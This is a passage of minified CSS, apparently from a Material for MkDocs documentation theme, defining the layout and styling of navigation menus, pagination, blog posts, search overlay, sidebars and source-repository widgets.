mandatory;touch-action:pan-y}.md-nav--primary .md-nav__title~.md-nav__list>:first-child{border-top:0}.md-nav--primary .md-nav__title[for=__drawer]{background-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color);font-weight:700}.md-nav--primary .md-nav__title .md-logo{display:block;left:.2rem;margin:.2rem;padding:.4rem;position:absolute;right:.2rem;top:.2rem}.md-nav--primary .md-nav__list{flex:1}.md-nav--primary .md-nav__item{border-top:.05rem solid var(--md-default-fg-color--lightest)}.md-nav--primary .md-nav__item--active>.md-nav__link{color:var(--md-typeset-a-color)}.md-nav--primary .md-nav__item--active>.md-nav__link:focus,.md-nav--primary .md-nav__item--active>.md-nav__link:hover{color:var(--md-accent-fg-color)}.md-nav--primary .md-nav__link{margin-top:0;padding:.6rem .8rem}.md-nav--primary .md-nav__link svg{margin-top:.1em}.md-nav--primary .md-nav__link>.md-nav__link{padding:0}[dir=ltr] .md-nav--primary .md-nav__link .md-nav__icon{margin-right:-.2rem}[dir=rtl] .md-nav--primary .md-nav__link .md-nav__icon{margin-left:-.2rem}.md-nav--primary .md-nav__link .md-nav__icon{font-size:1.2rem;height:1.2rem;width:1.2rem}.md-nav--primary .md-nav__link .md-nav__icon:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-nav-icon--next);mask-image:var(--md-nav-icon--next);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}[dir=rtl] .md-nav--primary .md-nav__icon:after{transform:scale(-1)}.md-nav--primary .md-nav--secondary .md-nav{background-color:initial;position:static}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav__link{padding-left:1.4rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav__link{padding-right:1.4rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav__link{padding-left:2rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav__link{padding-right:2rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav__link{padding-left:2.6rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav__link{padding-right:2.6rem}[dir=ltr] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav .md-nav__link{padding-left:3.2rem}[dir=rtl] .md-nav--primary .md-nav--secondary .md-nav .md-nav .md-nav .md-nav .md-nav__link{padding-right:3.2rem}.md-nav--secondary{background-color:initial}.md-nav__toggle~.md-nav{display:flex;opacity:0;transform:translateX(100%);transition:transform .25s cubic-bezier(.8,0,.6,1),opacity 125ms 50ms}[dir=rtl] .md-nav__toggle~.md-nav{transform:translateX(-100%)}.md-nav__toggle:checked~.md-nav{opacity:1;transform:translateX(0);transition:transform .25s cubic-bezier(.4,0,.2,1),opacity 125ms 125ms}.md-nav__toggle:checked~.md-nav>.md-nav__list{-webkit-backface-visibility:hidden;backface-visibility:hidden}}@media screen and (max-width:59.984375em){.md-nav--primary .md-nav__link[for=__toc]{display:flex}.md-nav--primary .md-nav__link[for=__toc] .md-icon:after{content:""}.md-nav--primary .md-nav__link[for=__toc]+.md-nav__link{display:none}.md-nav--primary .md-nav__link[for=__toc]~.md-nav{display:flex}.md-nav__source{background-color:var(--md-primary-fg-color--dark);color:var(--md-primary-bg-color);display:block;padding:0 .2rem}}@media screen and (min-width:60em) and (max-width:76.234375em){.md-nav--integrated .md-nav__link[for=__toc]{display:flex}.md-nav--integrated .md-nav__link[for=__toc] .md-icon:after{content:""}.md-nav--integrated .md-nav__link[for=__toc]+.md-nav__link{display:none}.md-nav--integrated .md-nav__link[for=__toc]~.md-nav{display:flex}}@media screen and (min-width:60em){.md-nav{margin-bottom:-.4rem}.md-nav--secondary .md-nav__title{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);position:sticky;top:0;z-index:1}.md-nav--secondary .md-nav__title[for=__toc]{scroll-snap-align:start}.md-nav--secondary .md-nav__title .md-nav__icon{display:none}[dir=ltr] .md-nav--secondary .md-nav__list{padding-left:.6rem}[dir=rtl] .md-nav--secondary .md-nav__list{padding-right:.6rem}.md-nav--secondary .md-nav__list{padding-bottom:.4rem}[dir=ltr] .md-nav--secondary .md-nav__item>.md-nav__link{margin-right:.4rem}[dir=rtl] .md-nav--secondary .md-nav__item>.md-nav__link{margin-left:.4rem}}@media screen and (min-width:76.25em){.md-nav{margin-bottom:-.4rem;transition:max-height .25s cubic-bezier(.86,0,.07,1)}.md-nav--primary .md-nav__title{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);position:sticky;top:0;z-index:1}.md-nav--primary .md-nav__title[for=__drawer]{scroll-snap-align:start}.md-nav--primary .md-nav__title .md-nav__icon{display:none}[dir=ltr] .md-nav--primary .md-nav__list{padding-left:.6rem}[dir=rtl] .md-nav--primary .md-nav__list{padding-right:.6rem}.md-nav--primary .md-nav__list{padding-bottom:.4rem}[dir=ltr] .md-nav--primary .md-nav__item>.md-nav__link{margin-right:.4rem}[dir=rtl] .md-nav--primary .md-nav__item>.md-nav__link{margin-left:.4rem}.md-nav__toggle~.md-nav{display:grid;grid-template-rows:0fr;opacity:0;transition:grid-template-rows .25s cubic-bezier(.86,0,.07,1),opacity .25s,visibility 0ms .25s;visibility:collapse}.md-nav__toggle~.md-nav>.md-nav__list{overflow:hidden}.md-nav__toggle.md-toggle--indeterminate~.md-nav,.md-nav__toggle:checked~.md-nav{grid-template-rows:1fr;opacity:1;transition:grid-template-rows .25s cubic-bezier(.86,0,.07,1),opacity .15s .1s,visibility 0ms;visibility:visible}.md-nav__toggle.md-toggle--indeterminate~.md-nav{transition:none}.md-nav__item--nested>.md-nav>.md-nav__title{display:none}.md-nav__item--section{display:block;margin:1.25em 0}.md-nav__item--section:last-child{margin-bottom:0}.md-nav__item--section>.md-nav__link{font-weight:700}.md-nav__item--section>.md-nav__link[for]{color:var(--md-default-fg-color--light)}.md-nav__item--section>.md-nav__link:not(.md-nav__container){pointer-events:none}.md-nav__item--section>.md-nav__link .md-icon,.md-nav__item--section>.md-nav__link>[for]{display:none}[dir=ltr] .md-nav__item--section>.md-nav{margin-left:-.6rem}[dir=rtl] .md-nav__item--section>.md-nav{margin-right:-.6rem}.md-nav__item--section>.md-nav{display:block;opacity:1;visibility:visible}.md-nav__item--section>.md-nav>.md-nav__list>.md-nav__item{padding:0}.md-nav__icon{border-radius:100%;height:.9rem;transition:background-color .25s;width:.9rem}.md-nav__icon:hover{background-color:var(--md-accent-fg-color--transparent)}.md-nav__icon:after{background-color:currentcolor;border-radius:100%;content:"";display:inline-block;height:100%;-webkit-mask-image:var(--md-nav-icon--next);mask-image:var(--md-nav-icon--next);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:transform .25s;vertical-align:-.1rem;width:100%}[dir=rtl] .md-nav__icon:after{transform:rotate(180deg)}.md-nav__item--nested .md-nav__toggle:checked~.md-nav__link .md-nav__icon:after,.md-nav__item--nested .md-toggle--indeterminate~.md-nav__link .md-nav__icon:after{transform:rotate(90deg)}.md-nav--lifted>.md-nav__list>.md-nav__item,.md-nav--lifted>.md-nav__title{display:none}.md-nav--lifted>.md-nav__list>.md-nav__item--active{display:block}.md-nav--lifted>.md-nav__list>.md-nav__item--active>.md-nav__link{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);margin-top:0;position:sticky;top:0;z-index:1}.md-nav--lifted>.md-nav__list>.md-nav__item--active>.md-nav__link:not(.md-nav__container){pointer-events:none}.md-nav--lifted>.md-nav__list>.md-nav__item--active.md-nav__item--section{margin:0}[dir=ltr] .md-nav--lifted>.md-nav__list>.md-nav__item>.md-nav:not(.md-nav--secondary){margin-left:-.6rem}[dir=rtl] .md-nav--lifted>.md-nav__list>.md-nav__item>.md-nav:not(.md-nav--secondary){margin-right:-.6rem}.md-nav--lifted>.md-nav__list>.md-nav__item>[for]{color:var(--md-default-fg-color--light)}.md-nav--lifted .md-nav[data-md-level="1"]{grid-template-rows:1fr;opacity:1;visibility:visible}[dir=ltr] .md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{border-left:.05rem solid var(--md-primary-fg-color)}[dir=rtl] .md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{border-right:.05rem solid var(--md-primary-fg-color)}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{display:block;margin-bottom:1.25em;opacity:1;visibility:visible}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary>.md-nav__list{overflow:visible;padding-bottom:0}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary>.md-nav__title{display:none}}.md-pagination{font-size:.8rem;font-weight:700;gap:.4rem}.md-pagination,.md-pagination>*{align-items:center;display:flex;justify-content:center}.md-pagination>*{border-radius:.2rem;height:1.8rem;min-width:1.8rem;text-align:center}.md-pagination__current{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light)}.md-pagination__link{transition:color 125ms,background-color 125ms}.md-pagination__link:focus,.md-pagination__link:hover{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-pagination__link:focus svg,.md-pagination__link:hover svg{color:var(--md-accent-fg-color)}.md-pagination__link.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-pagination__link svg{fill:currentcolor;color:var(--md-default-fg-color--lighter);display:block;max-height:100%;width:1.2rem}.md-post__back{border-bottom:.05rem solid var(--md-default-fg-color--lightest);margin-bottom:1.2rem;padding-bottom:1.2rem}@media screen and (max-width:76.234375em){.md-post__back{display:none}}[dir=rtl] .md-post__back svg{transform:scaleX(-1)}.md-post__authors{display:flex;flex-direction:column;gap:.6rem;margin:0 .6rem 1.2rem}.md-post .md-post__meta a{transition:color 125ms}.md-post .md-post__meta a:focus,.md-post .md-post__meta a:hover{color:var(--md-accent-fg-color)}.md-post__title{color:var(--md-default-fg-color--light);font-weight:700}.md-post--excerpt{margin-bottom:3.2rem}.md-post--excerpt .md-post__header{align-items:center;display:flex;gap:.6rem;min-height:1.6rem}.md-post--excerpt .md-post__authors{align-items:center;display:inline-flex;flex-direction:row;gap:.2rem;margin:0;min-height:2.4rem}[dir=ltr] .md-post--excerpt .md-post__meta .md-meta__list{margin-right:.4rem}[dir=rtl] .md-post--excerpt .md-post__meta .md-meta__list{margin-left:.4rem}.md-post--excerpt .md-post__content>:first-child{--md-scroll-margin:6rem;margin-top:0}.md-post>.md-nav--secondary{margin:1em 0}.md-profile{align-items:center;display:flex;font-size:.7rem;gap:.6rem;line-height:1.4;width:100%}.md-profile__description{flex-grow:1}.md-content--post{display:flex}@media screen and (max-width:76.234375em){.md-content--post{flex-flow:column-reverse}}.md-content--post>.md-content__inner{min-width:0}@media screen and (min-width:76.25em){[dir=ltr] .md-content--post>.md-content__inner{margin-left:1.2rem}[dir=rtl] .md-content--post>.md-content__inner{margin-right:1.2rem}}@media screen and (max-width:76.234375em){.md-sidebar.md-sidebar--post{padding:0;position:static;width:100%}.md-sidebar.md-sidebar--post .md-sidebar__scrollwrap{overflow:visible}.md-sidebar.md-sidebar--post .md-sidebar__inner{padding:0}.md-sidebar.md-sidebar--post .md-post__meta{margin-left:.6rem;margin-right:.6rem}.md-sidebar.md-sidebar--post .md-nav__item{border:none;display:inline}.md-sidebar.md-sidebar--post .md-nav__list{display:inline-flex;flex-wrap:wrap;gap:.6rem;padding-bottom:.6rem;padding-top:.6rem}.md-sidebar.md-sidebar--post .md-nav__link{padding:0}.md-sidebar.md-sidebar--post .md-nav{height:auto;margin-bottom:0;position:static}}:root{--md-progress-value:0;--md-progress-delay:400ms}.md-progress{background:var(--md-primary-bg-color);height:.075rem;opacity:min(clamp(0,var(--md-progress-value),1),clamp(0,100 - var(--md-progress-value),1));position:fixed;top:0;transform:scaleX(calc(var(--md-progress-value)*1%));transform-origin:left;transition:transform .5s cubic-bezier(.19,1,.22,1),opacity .25s var(--md-progress-delay);width:100%;z-index:4}:root{--md-search-result-icon:url('data:image/svg+xml;charset=utf-8,')}.md-search{position:relative}@media screen and (min-width:60em){.md-search{padding:.2rem 0}}.no-js .md-search{display:none}.md-search__overlay{opacity:0;z-index:1}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__overlay{left:-2.2rem}[dir=rtl] .md-search__overlay{right:-2.2rem}.md-search__overlay{background-color:var(--md-default-bg-color);border-radius:1rem;height:2rem;overflow:hidden;pointer-events:none;position:absolute;top:-1rem;transform-origin:center;transition:transform .3s .1s,opacity .2s .2s;width:2rem}[data-md-toggle=search]:checked~.md-header .md-search__overlay{opacity:1;transition:transform .4s,opacity .1s}}@media screen and (min-width:60em){[dir=ltr] .md-search__overlay{left:0}[dir=rtl] .md-search__overlay{right:0}.md-search__overlay{background-color:#0000008a;cursor:pointer;height:0;position:fixed;top:0;transition:width 0ms .25s,height 0ms .25s,opacity .25s;width:0}[data-md-toggle=search]:checked~.md-header .md-search__overlay{height:200vh;opacity:1;transition:width 0ms,height 0ms,opacity .25s;width:100%}}@media screen and (max-width:29.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(45)}}@media screen and (min-width:30em) and (max-width:44.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(60)}}@media screen and (min-width:45em) and (max-width:59.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(75)}}.md-search__inner{-webkit-backface-visibility:hidden;backface-visibility:hidden}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__inner{left:0}[dir=rtl] .md-search__inner{right:0}.md-search__inner{height:0;opacity:0;overflow:hidden;position:fixed;top:0;transform:translateX(5%);transition:width 0ms .3s,height 0ms .3s,transform .15s cubic-bezier(.4,0,.2,1) .15s,opacity .15s .15s;width:0;z-index:2}[dir=rtl] .md-search__inner{transform:translateX(-5%)}[data-md-toggle=search]:checked~.md-header .md-search__inner{height:100%;opacity:1;transform:translateX(0);transition:width 0ms 0ms,height 0ms 0ms,transform .15s cubic-bezier(.1,.7,.1,1) .15s,opacity .15s .15s;width:100%}}@media screen and (min-width:60em){[dir=ltr] .md-search__inner{float:right}[dir=rtl] .md-search__inner{float:left}.md-search__inner{padding:.1rem 0;position:relative;transition:width .25s cubic-bezier(.1,.7,.1,1);width:11.7rem}}@media screen and (min-width:60em) and (max-width:76.234375em){[data-md-toggle=search]:checked~.md-header .md-search__inner{width:23.4rem}}@media screen and (min-width:76.25em){[data-md-toggle=search]:checked~.md-header .md-search__inner{width:34.4rem}}.md-search__form{background-color:var(--md-default-bg-color);box-shadow:0 0 .6rem #0000;height:2.4rem;position:relative;transition:color .25s,background-color .25s;z-index:2}@media screen and (min-width:60em){.md-search__form{background-color:#00000042;border-radius:.1rem;height:1.8rem}.md-search__form:hover{background-color:#ffffff1f}}[data-md-toggle=search]:checked~.md-header .md-search__form{background-color:var(--md-default-bg-color);border-radius:.1rem .1rem 0 0;box-shadow:0 0 .6rem #00000012;color:var(--md-default-fg-color)}[dir=ltr] .md-search__input{padding-left:3.6rem;padding-right:2.2rem}[dir=rtl] .md-search__input{padding-left:2.2rem;padding-right:3.6rem}.md-search__input{background:#0000;font-size:.9rem;height:100%;position:relative;text-overflow:ellipsis;width:100%;z-index:2}.md-search__input::placeholder{transition:color .25s}.md-search__input::placeholder,.md-search__input~.md-search__icon{color:var(--md-default-fg-color--light)}.md-search__input::-ms-clear{display:none}@media screen and (max-width:59.984375em){.md-search__input{font-size:.9rem;height:2.4rem;width:100%}}@media screen and (min-width:60em){[dir=ltr] .md-search__input{padding-left:2.2rem}[dir=rtl] .md-search__input{padding-right:2.2rem}.md-search__input{color:inherit;font-size:.8rem}.md-search__input::placeholder{color:var(--md-primary-bg-color--light)}.md-search__input+.md-search__icon{color:var(--md-primary-bg-color)}[data-md-toggle=search]:checked~.md-header .md-search__input{text-overflow:clip}[data-md-toggle=search]:checked~.md-header .md-search__input+.md-search__icon{color:var(--md-default-fg-color--light)}[data-md-toggle=search]:checked~.md-header .md-search__input::placeholder{color:#0000}}.md-search__icon{cursor:pointer;display:inline-block;height:1.2rem;transition:color .25s,opacity .25s;width:1.2rem}.md-search__icon:hover{opacity:.7}[dir=ltr] .md-search__icon[for=__search]{left:.5rem}[dir=rtl] .md-search__icon[for=__search]{right:.5rem}.md-search__icon[for=__search]{position:absolute;top:.3rem;z-index:2}[dir=rtl] .md-search__icon[for=__search] svg{transform:scaleX(-1)}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__icon[for=__search]{left:.8rem}[dir=rtl] .md-search__icon[for=__search]{right:.8rem}.md-search__icon[for=__search]{top:.6rem}.md-search__icon[for=__search] svg:first-child{display:none}}@media screen and (min-width:60em){.md-search__icon[for=__search]{pointer-events:none}.md-search__icon[for=__search] svg:last-child{display:none}}[dir=ltr] .md-search__options{right:.5rem}[dir=rtl] .md-search__options{left:.5rem}.md-search__options{pointer-events:none;position:absolute;top:.3rem;z-index:2}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__options{right:.8rem}[dir=rtl] .md-search__options{left:.8rem}.md-search__options{top:.6rem}}[dir=ltr] .md-search__options>.md-icon{margin-left:.2rem}[dir=rtl] .md-search__options>.md-icon{margin-right:.2rem}.md-search__options>.md-icon{color:var(--md-default-fg-color--light);opacity:0;transform:scale(.75);transition:transform .15s cubic-bezier(.1,.7,.1,1),opacity .15s}.md-search__options>.md-icon:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}[data-md-toggle=search]:checked~.md-header .md-search__input:valid~.md-search__options>.md-icon{opacity:1;pointer-events:auto;transform:scale(1)}[data-md-toggle=search]:checked~.md-header .md-search__input:valid~.md-search__options>.md-icon:hover{opacity:.7}[dir=ltr] .md-search__suggest{padding-left:3.6rem;padding-right:2.2rem}[dir=rtl] .md-search__suggest{padding-left:2.2rem;padding-right:3.6rem}.md-search__suggest{align-items:center;color:var(--md-default-fg-color--lighter);display:flex;font-size:.9rem;height:100%;opacity:0;position:absolute;top:0;transition:opacity 50ms;white-space:nowrap;width:100%}@media screen and (min-width:60em){[dir=ltr] .md-search__suggest{padding-left:2.2rem}[dir=rtl] .md-search__suggest{padding-right:2.2rem}.md-search__suggest{font-size:.8rem}}[data-md-toggle=search]:checked~.md-header .md-search__suggest{opacity:1;transition:opacity .3s .1s}[dir=ltr] .md-search__output{border-bottom-left-radius:.1rem}[dir=ltr] .md-search__output,[dir=rtl] .md-search__output{border-bottom-right-radius:.1rem}[dir=rtl] .md-search__output{border-bottom-left-radius:.1rem}.md-search__output{overflow:hidden;position:absolute;width:100%;z-index:1}@media screen and (max-width:59.984375em){.md-search__output{bottom:0;top:2.4rem}}@media screen and (min-width:60em){.md-search__output{opacity:0;top:1.9rem;transition:opacity .4s}[data-md-toggle=search]:checked~.md-header .md-search__output{box-shadow:var(--md-shadow-z3);opacity:1}}.md-search__scrollwrap{-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:var(--md-default-bg-color);height:100%;overflow-y:auto;touch-action:pan-y}@media (-webkit-max-device-pixel-ratio:1),(max-resolution:1dppx){.md-search__scrollwrap{transform:translateZ(0)}}@media screen and (min-width:60em) and (max-width:76.234375em){.md-search__scrollwrap{width:23.4rem}}@media screen and (min-width:76.25em){.md-search__scrollwrap{width:34.4rem}}@media screen and (min-width:60em){.md-search__scrollwrap{max-height:0;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin}[data-md-toggle=search]:checked~.md-header .md-search__scrollwrap{max-height:75vh}.md-search__scrollwrap:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-search__scrollwrap::-webkit-scrollbar{height:.2rem;width:.2rem}.md-search__scrollwrap::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-search__scrollwrap::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}}.md-search-result{color:var(--md-default-fg-color);word-break:break-word}.md-search-result__meta{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light);font-size:.64rem;line-height:1.8rem;padding:0 .8rem;scroll-snap-align:start}@media screen and (min-width:60em){[dir=ltr] .md-search-result__meta{padding-left:2.2rem}[dir=rtl] .md-search-result__meta{padding-right:2.2rem}}.md-search-result__list{list-style:none;margin:0;padding:0;-webkit-user-select:none;user-select:none}.md-search-result__item{box-shadow:0 -.05rem var(--md-default-fg-color--lightest)}.md-search-result__item:first-child{box-shadow:none}.md-search-result__link{display:block;outline:none;scroll-snap-align:start;transition:background-color .25s}.md-search-result__link:focus,.md-search-result__link:hover{background-color:var(--md-accent-fg-color--transparent)}.md-search-result__link:last-child p:last-child{margin-bottom:.6rem}.md-search-result__more>summary{cursor:pointer;display:block;outline:none;position:sticky;scroll-snap-align:start;top:0;z-index:1}.md-search-result__more>summary::marker{display:none}.md-search-result__more>summary::-webkit-details-marker{display:none}.md-search-result__more>summary>div{color:var(--md-typeset-a-color);font-size:.64rem;padding:.75em .8rem;transition:color .25s,background-color .25s}@media screen and (min-width:60em){[dir=ltr] .md-search-result__more>summary>div{padding-left:2.2rem}[dir=rtl] .md-search-result__more>summary>div{padding-right:2.2rem}}.md-search-result__more>summary:focus>div,.md-search-result__more>summary:hover>div{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-search-result__more[open]>summary{background-color:var(--md-default-bg-color)}.md-search-result__article{overflow:hidden;padding:0 .8rem;position:relative}@media screen and (min-width:60em){[dir=ltr] .md-search-result__article{padding-left:2.2rem}[dir=rtl] .md-search-result__article{padding-right:2.2rem}}[dir=ltr] .md-search-result__icon{left:0}[dir=rtl] .md-search-result__icon{right:0}.md-search-result__icon{color:var(--md-default-fg-color--light);height:1.2rem;margin:.5rem;position:absolute;width:1.2rem}@media screen and (max-width:59.984375em){.md-search-result__icon{display:none}}.md-search-result__icon:after{background-color:currentcolor;content:"";display:inline-block;height:100%;-webkit-mask-image:var(--md-search-result-icon);mask-image:var(--md-search-result-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}[dir=rtl] .md-search-result__icon:after{transform:scaleX(-1)}.md-search-result .md-typeset{color:var(--md-default-fg-color--light);font-size:.64rem;line-height:1.6}.md-search-result .md-typeset h1{color:var(--md-default-fg-color);font-size:.8rem;font-weight:400;line-height:1.4;margin:.55rem 0}.md-search-result .md-typeset h1 mark{text-decoration:none}.md-search-result .md-typeset h2{color:var(--md-default-fg-color);font-size:.64rem;font-weight:700;line-height:1.6;margin:.5em 0}.md-search-result .md-typeset h2 mark{text-decoration:none}.md-search-result__terms{color:var(--md-default-fg-color);display:block;font-size:.64rem;font-style:italic;margin:.5em 0}.md-search-result mark{background-color:initial;color:var(--md-accent-fg-color);text-decoration:underline}.md-select{position:relative;z-index:1}.md-select__inner{background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);left:50%;margin-top:.2rem;max-height:0;opacity:0;position:absolute;top:calc(100% - .2rem);transform:translate3d(-50%,.3rem,0);transition:transform .25s 375ms,opacity .25s .25s,max-height 0ms .5s}.md-select:focus-within .md-select__inner,.md-select:hover .md-select__inner{max-height:10rem;opacity:1;transform:translate3d(-50%,0,0);transition:transform .25s cubic-bezier(.1,.7,.1,1),opacity .25s,max-height 0ms}.md-select__inner:after{border-bottom:.2rem solid #0000;border-bottom-color:var(--md-default-bg-color);border-left:.2rem solid #0000;border-right:.2rem solid #0000;border-top:0;content:"";height:0;left:50%;margin-left:-.2rem;margin-top:-.2rem;position:absolute;top:0;width:0}.md-select__list{border-radius:.1rem;font-size:.8rem;list-style-type:none;margin:0;max-height:inherit;overflow:auto;padding:0}.md-select__item{line-height:1.8rem}[dir=ltr] .md-select__link{padding-left:.6rem;padding-right:1.2rem}[dir=rtl] .md-select__link{padding-left:1.2rem;padding-right:.6rem}.md-select__link{cursor:pointer;display:block;outline:none;scroll-snap-align:start;transition:background-color .25s,color .25s;width:100%}.md-select__link:focus,.md-select__link:hover{color:var(--md-accent-fg-color)}.md-select__link:focus{background-color:var(--md-default-fg-color--lightest)}.md-sidebar{align-self:flex-start;flex-shrink:0;padding:1.2rem 0;position:sticky;top:2.4rem;width:12.1rem}@media print{.md-sidebar{display:none}}@media screen and (max-width:76.234375em){[dir=ltr] .md-sidebar--primary{left:-12.1rem}[dir=rtl] .md-sidebar--primary{right:-12.1rem}.md-sidebar--primary{background-color:var(--md-default-bg-color);display:block;height:100%;position:fixed;top:0;transform:translateX(0);transition:transform .25s cubic-bezier(.4,0,.2,1),box-shadow .25s;width:12.1rem;z-index:5}[data-md-toggle=drawer]:checked~.md-container .md-sidebar--primary{box-shadow:var(--md-shadow-z3);transform:translateX(12.1rem)}[dir=rtl] [data-md-toggle=drawer]:checked~.md-container .md-sidebar--primary{transform:translateX(-12.1rem)}.md-sidebar--primary .md-sidebar__scrollwrap{bottom:0;left:0;margin:0;overflow:hidden;position:absolute;right:0;scroll-snap-type:none;top:0}}@media screen and (min-width:76.25em){.md-sidebar{height:0}.no-js .md-sidebar{height:auto}.md-header--lifted~.md-container .md-sidebar{top:4.8rem}}.md-sidebar--secondary{display:none;order:2}@media screen and (min-width:60em){.md-sidebar--secondary{height:0}.no-js .md-sidebar--secondary{height:auto}.md-sidebar--secondary:not([hidden]){display:block}.md-sidebar--secondary .md-sidebar__scrollwrap{touch-action:pan-y}}.md-sidebar__scrollwrap{scrollbar-gutter:stable;-webkit-backface-visibility:hidden;backface-visibility:hidden;margin:0 .2rem;overflow-y:auto;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin}.md-sidebar__scrollwrap::-webkit-scrollbar{height:.2rem;width:.2rem}.md-sidebar__scrollwrap:focus-within,.md-sidebar__scrollwrap:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-sidebar__scrollwrap:focus-within::-webkit-scrollbar-thumb,.md-sidebar__scrollwrap:hover::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-sidebar__scrollwrap:focus-within::-webkit-scrollbar-thumb:hover,.md-sidebar__scrollwrap:hover::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}@supports selector(::-webkit-scrollbar){.md-sidebar__scrollwrap{scrollbar-gutter:auto}[dir=ltr] .md-sidebar__inner{padding-right:calc(100% - 11.5rem)}[dir=rtl] .md-sidebar__inner{padding-left:calc(100% - 11.5rem)}}@media screen and (max-width:76.234375em){.md-overlay{background-color:#0000008a;height:0;opacity:0;position:fixed;top:0;transition:width 0ms .25s,height 0ms .25s,opacity .25s;width:0;z-index:5}[data-md-toggle=drawer]:checked~.md-overlay{height:100%;opacity:1;transition:width 0ms,height 0ms,opacity .25s;width:100%}}@keyframes facts{0%{height:0}to{height:.65rem}}@keyframes fact{0%{opacity:0;transform:translateY(100%)}50%{opacity:0}to{opacity:1;transform:translateY(0)}}:root{--md-source-forks-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-repositories-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-stars-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-version-icon:url('data:image/svg+xml;charset=utf-8,')}.md-source{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:block;font-size:.65rem;line-height:1.2;outline-color:var(--md-accent-fg-color);transition:opacity .25s;white-space:nowrap}.md-source:hover{opacity:.7}.md-source__icon{display:inline-block;height:2.4rem;vertical-align:middle;width:2rem}[dir=ltr] .md-source__icon svg{margin-left:.6rem}[dir=rtl] .md-source__icon svg{margin-right:.6rem}.md-source__icon svg{margin-top:.6rem}[dir=ltr] .md-source__icon+.md-source__repository{padding-left:2rem}[dir=rtl] .md-source__icon+.md-source__repository{padding-right:2rem}[dir=ltr] .md-source__icon+.md-source__repository{margin-left:-2rem}[dir=rtl] .md-source__icon+.md-source__repository{margin-right:-2rem}[dir=ltr] .md-source__repository{margin-left:.6rem}[dir=rtl] .md-source__repository{margin-right:.6rem}.md-source__repository{display:inline-block;max-width:calc(100% - 1.2rem);overflow:hidden;text-overflow:ellipsis;vertical-align:middle}.md-source__facts{display:flex;font-size:.55rem;gap:.4rem;list-style-type:none;margin:.1rem 0 0;opacity:.75;overflow:hidden;padding:0;width:100%}.md-source__repository--active .md-source__facts{animation:facts .25s ease-in}.md-source__fact{overflow:hidden;text-overflow:ellipsis}.md-source__repository--active .md-source__fact{animation:fact .4s ease-out}[dir=ltr] .md-source__fact:before{margin-right:.1rem}[dir=rtl] .md-source__fact:before{margin-left:.1rem}.md-source__fact:before{background-color:currentcolor;content:"";display:inline-block;height:.6rem;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;vertical-align:text-top;width:.6rem}.md-source__fact:nth-child(1n+2){flex-shrink:0}.md-source__fact--version:before{-webkit-mask-image:var(--md-source-version-icon);mask-image:var(--md-source-version-icon)}.md-source__fact--stars:before{-webkit-mask-image:var(--md-source-stars-icon);mask-image:var(--md-source-stars-icon)}.md-source__fact--forks:before{-webkit-mask-image:var(--md-source-forks-icon);mask-image:var(--md-source-forks-icon)}.md-source__fact--repositories:before{-webkit-mask-image:var(--md-source-repositories-icon);mask-image:var(--md-source-repositories-icon)}.md-source-file{margin:1em 0}[dir=ltr] .md-source-file__fact{margin-right:.6rem}[dir=rtl] 